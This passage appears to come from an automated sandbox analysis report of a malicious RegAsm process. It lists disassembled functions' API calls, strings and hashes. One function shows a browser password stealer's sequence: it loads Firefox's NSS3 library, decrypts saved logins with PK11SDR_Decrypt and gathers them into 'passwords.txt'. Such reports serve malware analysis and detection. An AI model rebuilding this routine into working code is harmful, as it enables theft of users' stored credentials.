HeapAlloc.KERNEL32(00000000), ref: 0040DD0B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD20
HeapFree.KERNEL32(00000000), ref: 0040DD27
strcpy_s.MSVCRT ref: 0040DD43
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD55
HeapFree.KERNEL32(00000000), ref: 0040DD62
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DD93
HeapFree.KERNEL32(00000000), ref: 0040DD9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DDA1
HeapAlloc.KERNEL32(00000000), ref: 0040DDA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDBD
HeapFree.KERNEL32(00000000), ref: 0040DDC4
strcpy_s.MSVCRT ref: 0040DDDA
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDEC
HeapFree.KERNEL32(00000000), ref: 0040DDF3
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE11
HeapFree.KERNEL32(00000000), ref: 0040DE18
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DE1F
HeapAlloc.KERNEL32(00000000), ref: 0040DE26
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE3B
HeapFree.KERNEL32(00000000), ref: 0040DE42
strcpy_s.MSVCRT ref: 0040DE52
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE64
HeapFree.KERNEL32(00000000), ref: 0040DE6B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE93
HeapFree.KERNEL32(00000000), ref: 0040DE9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DEA1
HeapAlloc.KERNEL32(00000000), ref: 0040DEA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEC3
HeapFree.KERNEL32(00000000), ref: 0040DECA
strcpy_s.MSVCRT ref: 0040DEDD
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEEF
HeapFree.KERNEL32(00000000), ref: 0040DEF6
lstrlenA.KERNEL32(00000000), ref: 0040DEFF
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040DF15
HeapAlloc.KERNEL32(00000000), ref: 0040DF1C
lstrlenA.KERNEL32(00000000), ref: 0040DF34

Part of subcall function 0040F128: std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

strcpy_s.MSVCRT ref: 0040DF75
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 0040DF9B
HeapFree.KERNEL32(00000000), ref: 0040DFA8
lstrlenA.KERNEL32(?), ref: 0040DFAD
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0040DFBC
HeapAlloc.KERNEL32(00000000), ref: 0040DFC3
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFD7
HeapFree.KERNEL32(00000000), ref: 0040DFDE
strcpy_s.MSVCRT ref: 0040DFEC
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFF9
HeapFree.KERNEL32(00000000), ref: 0040E000
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E035
HeapFree.KERNEL32(00000000), ref: 0040E03C
GetProcessHeap.KERNEL32(00000008,?), ref: 0040E043
HeapAlloc.KERNEL32(00000000), ref: 0040E04A
strcpy_s.MSVCRT ref: 0040E065
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E077
HeapFree.KERNEL32(00000000), ref: 0040E07E
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E122
HeapFree.KERNEL32(00000000), ref: 0040E129
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E173
HeapFree.KERNEL32(00000000), ref: 0040E17A

Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBF2
Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
Part of subcall function 0040DB7F: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
Part of subcall function 0040DB7F: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
Part of subcall function 0040DB7F: strcpy_s.MSVCRT ref: 0040DC6F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 83bc938666e6f99dd1040cc5e602858ddfbc562e8f7a3af34851d743888bf3de
Instruction ID: 73ce51415629f3e468882b1d0d1c1ddd59963834b76eec8667bdeb639231cf34
Opcode Fuzzy Hash: 83bc938666e6f99dd1040cc5e602858ddfbc562e8f7a3af34851d743888bf3de
Instruction Fuzzy Hash: BFE14C72C00219ABEF249FF5DC88ADEBF79BF08305F1454AAF105B3152EA3A59849F54

Function 0040A916 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A922

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,0043739C,0043680B), ref: 0040A9C1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9D9
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9E1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9ED
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9F7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA09
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA15
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA1C
StrStrA.SHLWAPI(0040B824,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA2D
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA47
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA5A
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA64
lstrcatA.KERNEL32(00000000,004373A0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA70
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA7A
lstrcatA.KERNEL32(00000000,004373A4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA86
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA93
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA9B
lstrcatA.KERNEL32(00000000,004373A8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAA7
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAB7
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAC7
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AADA

Part of subcall function 0040A7D8: _memset.LIBCMT ref: 0040A815
Part of subcall function 0040A7D8: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
Part of subcall function 0040A7D8: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
Part of subcall function 0040A7D8: PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
Part of subcall function 0040A7D8: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
Part of subcall function 0040A7D8: PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
Part of subcall function 0040A7D8: _memmove.LIBCMT ref: 0040A8BB
Part of subcall function 0040A7D8: PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAE9
lstrcatA.KERNEL32(00000000,004373AC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAF5
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB05
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB15
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB28

Part of subcall function 0040A7D8: lstrcatA.KERNEL32(004367FF,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
Part of subcall function 0040A7D8: lstrcatA.KERNEL32(004367FF,0043680A,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB37
lstrcatA.KERNEL32(00000000,004373B0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB43
lstrcatA.KERNEL32(00000000,004373B4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB4F
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB5F
lstrlenA.KERNEL32(00000000), ref: 0040AB7D
CloseHandle.KERNEL32(?), ref: 0040ABAC
NSS_Shutdown.NSS3(?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040ABB2

Strings

pe, xrefs: 0040A931
passwords.txt, xrefs: 0040AB89

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$K11_lstrlen$HeapPointerSlot$AllocAuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalProcessReadShutdownSizeString_memmove_memset
String ID: passwords.txt$pe
API String ID: 2725232238-1761351166
Opcode ID: 52c77336286c9f70d7e929ee0217c54f370d3cde4ebcdc705aa30c28de71ffed
Instruction ID: 627fec6a68d7b45de2d49444bf21edccb99b78b738ef702494a6b07f3c5301c2
Opcode Fuzzy Hash: 52c77336286c9f70d7e929ee0217c54f370d3cde4ebcdc705aa30c28de71ffed
Instruction Fuzzy Hash: 0F71B331500215AFCF15EFA1ED4DD9E3BBAEF4930AF101015F901A31A1EB7A5A05CBAA

Function 6C286E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C13CA30: EnterCriticalSection.KERNEL32(?,?,?,6C19F9C9,?,6C19F4DA,6C19F9C9,?,?,6C16369A), ref: 6C13CA7A
Part of subcall function 6C13CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C13CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C14BE66), ref: 6C286E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C14BE66), ref: 6C286E98
sqlite3_snprintf.NSS3(?,00000000,6C2EAAF9,?,?,?,?,?,?,6C14BE66), ref: 6C286EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C14BE66), ref: 6C286ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C14BE66), ref: 6C286EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C14BE66), ref: 6C286F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C14BE66), ref: 6C286F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C14BE66), ref: 6C286F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C14BE66), ref: 6C286FA6
sqlite3_snprintf.NSS3(?,00000000,6C2EAAF9,00000000,?,?,?,?,?,?,?,6C14BE66), ref: 6C286FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C14BE66), ref: 6C286FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C14BE66), ref: 6C286FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C14BE66), ref: 6C287014
sqlite3_free.NSS3(00000000,?,?,?,?,6C14BE66), ref: 6C28701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C14BE66), ref: 6C287030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C14BE66), ref: 6C28705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C14BE66), ref: 6C287079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C14BE66), ref: 6C287097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C14BE66), ref: 6C2870A0

Strings

mz_etilqs_, xrefs: 6C286F18
winGetTempname4, xrefs: 6C287046
winGetTempname2, xrefs: 6C2870C4
P,l, xrefs: 6C2870A8
winGetTempname5, xrefs: 6C287071
winGetTempname1, xrefs: 6C28708F

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: P,l$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-815665119
Opcode ID: 26cc66aa1e2a1288eecf92d699c056537376d80e82914e35e604629f544e3843
Instruction ID: 9ac8110946014007656ca062d6a50a743693a69ec0655551476513a81245a8d2
Opcode Fuzzy Hash: 26cc66aa1e2a1288eecf92d699c056537376d80e82914e35e604629f544e3843
Instruction Fuzzy Hash: 50516AA1F152296BE30096309CA1FBB36669B9274DF144638FC1996BC1FF25940E82E3

Function 6C1E8E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C1E8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C1E8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E8EB3

Part of subcall function 6C2CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C2CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C1E8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C1E8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C1E8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E8F29
PR_LogPrint.NSS3(?,00000000), ref: 6C1E8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C1E8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E8F80
PR_LogPrint.NSS3(?,00000000), ref: 6C1E8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C1E8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C1E8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C1E9047

Strings

hKey = 0x%x, xrefs: 6C1E8F5B, 6C1E8F6B
hSession = 0x%x, xrefs: 6C1E8E8E, 6C1E8E9E
*pulWrappedKeyLen = 0x%x, xrefs: 6C1E9042
pMechanism = 0x%p, xrefs: 6C1E8EE0
(CK_INVALID_HANDLE), xrefs: 6C1E8EAC, 6C1E8F1F, 6C1E8F79
n,l, xrefs: 6C1E8FEC, 6C1E9023
pWrappedKey = 0x%p, xrefs: 6C1E8FAD
hWrappingKey = 0x%x, xrefs: 6C1E8F01, 6C1E8F11
C_WrapKey, xrefs: 6C1E8E71
pulWrappedKeyLen = 0x%p, xrefs: 6C1E8FC8

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$n,l
API String ID: 1003633598-3946023815
Opcode ID: 15e196d84bd27930227618e1a94e7392ba0850f3788fdaaabe93743d44378891
Instruction ID: 334452c18717a5e8ae2e276ea1bd8c9c51232c2ed8647b5f2afb3a6a208edcae
Opcode Fuzzy Hash: 15e196d84bd27930227618e1a94e7392ba0850f3788fdaaabe93743d44378891
Instruction Fuzzy Hash: 6E510635601508AFEB00DF58DD49F9B377AEB4A31CF494065FD08ABE12D735A918CB92

Function 00424AE7 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00424AEF
__mtterm.LIBCMT ref: 00424AFB

Part of subcall function 004247BA: DecodePointer.KERNEL32(FFFFFFFF), ref: 004247CB
Part of subcall function 004247BA: TlsFree.KERNEL32(FFFFFFFF), ref: 004247E5

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00424B11
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00424B1E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00424B2B
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00424B38
TlsAlloc.KERNEL32 ref: 00424B88
TlsSetValue.KERNEL32(00000000), ref: 00424BA3
__init_pointers.LIBCMT ref: 00424BAD
EncodePointer.KERNEL32 ref: 00424BBE
EncodePointer.KERNEL32 ref: 00424BCB
EncodePointer.KERNEL32 ref: 00424BD8
EncodePointer.KERNEL32 ref: 00424BE5
DecodePointer.KERNEL32(Function_0002493E), ref: 00424C06
__calloc_crt.LIBCMT ref: 00424C1B
DecodePointer.KERNEL32(00000000), ref: 00424C35
__initptd.LIBCMT ref: 00424C40
GetCurrentThreadId.KERNEL32 ref: 00424C47

Strings

FlsAlloc, xrefs: 00424B0B
FlsSetValue, xrefs: 00424B20
FlsGetValue, xrefs: 00424B13
FlsFree, xrefs: 00424B2D
KERNEL32.DLL, xrefs: 00424AEA

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: b32a4c92fbad1969bf2469835beceff6d25c15e92dbdda3597b0deb82da1f7d0
Instruction ID: 470a9efb698236a932c313200bb134d8d3818a769c4bd7a647863766f3d20cfc
Opcode Fuzzy Hash: b32a4c92fbad1969bf2469835beceff6d25c15e92dbdda3597b0deb82da1f7d0
Instruction Fuzzy Hash: AA314F31E053609ACB22AF7ABD4861A3FA4EF85762B51053BE410D32B1DBB9D440DF5C

Function 6C214FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C1C75C2,00000000,00000000,00000001), ref: 6C215009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C1C75C2,00000000), ref: 6C215049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C21505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C215071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C215089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2150A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C2150B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C1C75C2), ref: 6C2150CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2150D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C2150F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C215103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C21511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C21512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C215145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C215153
free.MOZGLUE(?), ref: 6C21516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C21517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C215195

Strings

library=, xrefs: 6C215043
parameters=, xrefs: 6C21506B
nss=, xrefs: 6C215083
name=, xrefs: 6C215057
config=, xrefs: 6C21509B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 1d630b1b1d5c0240290842e7511904d641c0aad4572f45035862bb1b941277bd
Instruction ID: 682dbe1292c3a0020dadc1b3a6b7014b9f908a3943aeab2de5e979644d6869e5
Opcode Fuzzy Hash: 1d630b1b1d5c0240290842e7511904d641c0aad4572f45035862bb1b941277bd
Instruction Fuzzy Hash: D551D4B1A0520E5FEB01DE289C41AAB37F8AF05259F140074FD15E7B41EB25E919C7B2

Function 6C214C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C204F51,00000000), ref: 6C214C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C204F51,00000000), ref: 6C214C5B
PR_smprintf.NSS3(6C2EAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C204F51,00000000), ref: 6C214C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C204F51,00000000), ref: 6C214CAE
